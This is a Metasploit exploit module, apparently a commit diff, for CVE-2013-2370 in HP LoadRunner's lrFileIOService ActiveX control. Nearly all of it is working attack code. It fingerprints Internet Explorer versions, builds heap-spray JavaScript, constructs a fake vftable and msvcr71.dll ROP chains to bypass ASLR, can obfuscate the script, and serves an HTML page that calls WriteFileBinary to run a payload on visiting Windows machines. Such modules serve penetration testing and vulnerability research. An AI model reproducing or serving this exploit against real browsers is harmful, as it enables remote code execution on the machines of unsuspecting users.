1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "6.0" ,
20
+ :ua_maxver => "9.0" ,
21
+ :javascript => true ,
22
+ :os_name => OperatingSystems ::WINDOWS ,
23
+ :rank => Rank ,
24
+ :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}" ,
25
+ :method => "WriteFileBinary"
26
+ } )
27
+
28
+ def initialize ( info = { } )
29
+ super ( update_info ( info ,
30
+ 'Name' => "HP LoadRunner lrFileIOService ActiveX Remote Code Execution" ,
31
+ 'Description' => %q{
32
+ This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
33
+ with HP LoadRunner 11.50. The vulnerability exists in the WriteFileBinary method
34
+ where user provided data is used as a memory pointer. This module has been tested
35
+ successfully on IE6-IE9 on Windows XP, Vista and 7, using the LrWebIERREWrapper.dll
36
+ 11.50.2216.0. In order to bypass ASLR the no aslr compatible module msvcr71.dll is
37
+ used. This one is installed with HP LoadRunner.
38
+ } ,
39
+ 'License' => MSF_LICENSE ,
40
+ 'Author' =>
41
+ [
42
+ 'rgod <rgod[at]autistici.org>' , # Vulnerability discovery
43
+ 'juan vazquez' # Metasploit module
44
+ ] ,
45
+ 'References' =>
46
+ [
47
+ [ 'CVE' , '2013-2370' ] ,
48
+ [ 'OSVDB' , '95640' ] ,
49
+ [ 'BID' , '61441' ] ,
50
+ [ 'URL' , 'http://www.zerodayinitiative.com/advisories/ZDI-13-182/' ] ,
51
+ [ 'URL' , 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
52
+ ] ,
53
+ 'Payload' =>
54
+ {
55
+ 'Space' => 1024 ,
56
+ 'DisableNops' => true ,
57
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
58
+ } ,
59
+ 'DefaultOptions' =>
60
+ {
61
+ 'PrependMigrate' => true
62
+ } ,
63
+ 'Platform' => 'win' ,
64
+ 'Targets' =>
65
+ [
66
+ # LrWebIERREWrapper.dll 11.50.2216.0
67
+ [ 'Automatic' , { } ] ,
68
+ [ 'IE 7 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' } ] ,
69
+ [ 'IE 8 on Windows XP SP3' , { 'Rop' => :jre , 'Offset' => '0x5f4' } ] ,
70
+ [ 'IE 7 on Windows Vista' , { 'Rop' => nil , 'Offset' => '0x5f4' } ] ,
71
+ [ 'IE 8 on Windows Vista' , { 'Rop' => :jre , 'Offset' => '0x5f4' } ] ,
72
+ [ 'IE 8 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x5f4' } ] ,
73
+ [ 'IE 9 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x5fe' } ]
74
+ ] ,
75
+ 'Privileged' => false ,
76
+ 'DisclosureDate' => "Jul 24 2013" ,
77
+ 'DefaultTarget' => 0 ) )
78
+
79
+ register_options (
80
+ [
81
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
82
+ ] , self . class )
83
+
84
+ end
85
+
86
+ def get_target ( agent )
87
+ #If the user is already specified by the user, we'll just use that
88
+ return target if target . name != 'Automatic'
89
+
90
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
91
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
92
+
93
+ ie_name = "IE #{ ie } "
94
+
95
+ case nt
96
+ when '5.1'
97
+ os_name = 'Windows XP SP3'
98
+ when '6.0'
99
+ os_name = 'Windows Vista'
100
+ when '6.1'
101
+ os_name = 'Windows 7'
102
+ end
103
+
104
+ targets . each do |t |
105
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
106
+ print_status ( "Target selected as: #{ t . name } " )
107
+ return t
108
+ end
109
+ end
110
+
111
+ return nil
112
+ end
113
+
114
+ def ie_heap_spray ( my_target , p )
115
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
116
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
117
+ js_random_nops = Rex ::Text . to_unescape ( make_nops ( 4 ) , Rex ::Arch . endian ( my_target . arch ) )
118
+
119
+ # Land the payload at 0x0c0c0c0c
120
+ case my_target
121
+ when targets [ 7 ]
122
+ # IE 9 on Windows 7
123
+ js = %Q|
124
+ function randomblock(blocksize)
125
+ {
126
+ var theblock = "";
127
+ for (var i = 0; i < blocksize; i++)
128
+ {
129
+ theblock += Math.floor(Math.random()*90)+10;
130
+ }
131
+ return theblock;
132
+ }
133
+
134
+ function tounescape(block)
135
+ {
136
+ var blocklen = block.length;
137
+ var unescapestr = "";
138
+ for (var i = 0; i < blocklen-1; i=i+4)
139
+ {
140
+ unescapestr += "%u" + block.substring(i,i+4);
141
+ }
142
+ return unescapestr;
143
+ }
144
+
145
+ var heap_obj = new heapLib.ie(0x10000);
146
+ var code = unescape("#{ js_code } ");
147
+ var nops = unescape("#{ js_random_nops } ");
148
+ while (nops.length < 0x80000) nops += nops;
149
+ var offset_length = #{ my_target [ 'Offset' ] } ;
150
+ for (var i=0; i < 0x1000; i++) {
151
+ var padding = unescape(tounescape(randomblock(0x1000)));
152
+ while (padding.length < 0x1000) padding+= padding;
153
+ var junk_offset = padding.substring(0, offset_length);
154
+ var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
155
+ while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
156
+ sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
157
+ heap_obj.alloc(sprayblock);
158
+ }
159
+ |
160
+
161
+ else
162
+ # For IE 6, 7, 8
163
+ js = %Q|
164
+ var heap_obj = new heapLib.ie(0x20000);
165
+ var code = unescape("#{ js_code } ");
166
+ var nops = unescape("#{ js_nops } ");
167
+ while (nops.length < 0x80000) nops += nops;
168
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
169
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
170
+ while (shellcode.length < 0x40000) shellcode += shellcode;
171
+ var block = shellcode.substring(0, (0x80000-6)/2);
172
+ heap_obj.gc();
173
+ for (var i=1; i < 0x300; i++) {
174
+ heap_obj.alloc(block);
175
+ }
176
+ |
177
+
178
+ end
179
+
180
+ js = heaplib ( js , { :noobfu => true } )
181
+
182
+ if datastore [ 'OBFUSCATE' ]
183
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
184
+ js . obfuscate
185
+ end
186
+
187
+ return js
188
+ end
189
+
190
+ def get_payload ( t , cli )
191
+ code = payload . encoded
192
+
193
+ fake_object = [
194
+ 0x0c0c0c0c , # fake vftable pointer
195
+ 0x0c0c0c14 # function pointer
196
+ ] . pack ( "V*" )
197
+
198
+ # No rop. Just return the payload.
199
+ return fake_object + code if t [ 'Rop' ] . nil?
200
+
201
+ # Both ROP chains generated by mona.py - See corelan.be
202
+ case t [ 'Rop' ]
203
+ when :jre
204
+ print_status ( "Using msvcr71.dll ROP" )
205
+ fake_object = [
206
+ 0x0c0c0c0c , # fake vftable pointer
207
+ 0x7c342643 # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn
208
+ ] . pack ( "V*" )
209
+ rop_payload = fake_object + generate_rop_payload ( 'java' , code ) #, {'pivot'=>stack_pivot})
210
+ end
211
+
212
+ return rop_payload
213
+ end
214
+
215
+ def load_exploit_html ( my_target , cli )
216
+ p = get_payload ( my_target , cli )
217
+ js = ie_heap_spray ( my_target , p )
218
+
219
+ html = %Q|
220
+ <html>
221
+ <head>
222
+ <script>
223
+ #{ js }
224
+ </script>
225
+ </head>
226
+ <body>
227
+ <object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='poc'></object>
228
+ <script language='javascript'>
229
+ poc.WriteFileBinary("#{ rand_text_alpha ( 4 + rand ( 4 ) ) } ", 0x0c0c0c0c);
230
+ </script>
231
+ </body>
232
+ </html>
233
+ |
234
+
235
+ return html
236
+ end
237
+
238
+ def on_request_uri ( cli , request )
239
+ agent = request . headers [ 'User-Agent' ]
240
+ uri = request . uri
241
+ print_status ( "Requesting: #{ uri } " )
242
+
243
+ my_target = get_target ( agent )
244
+ # Avoid the attack if no suitable target found
245
+ if my_target . nil?
246
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
247
+ send_not_found ( cli )
248
+ return
249
+ end
250
+
251
+ html = load_exploit_html ( my_target , cli )
252
+ html = html . gsub ( /^\t \t / , '' )
253
+ print_status ( "Sending HTML..." )
254
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
255
+ end
256
+
257
+ end
0 commit comments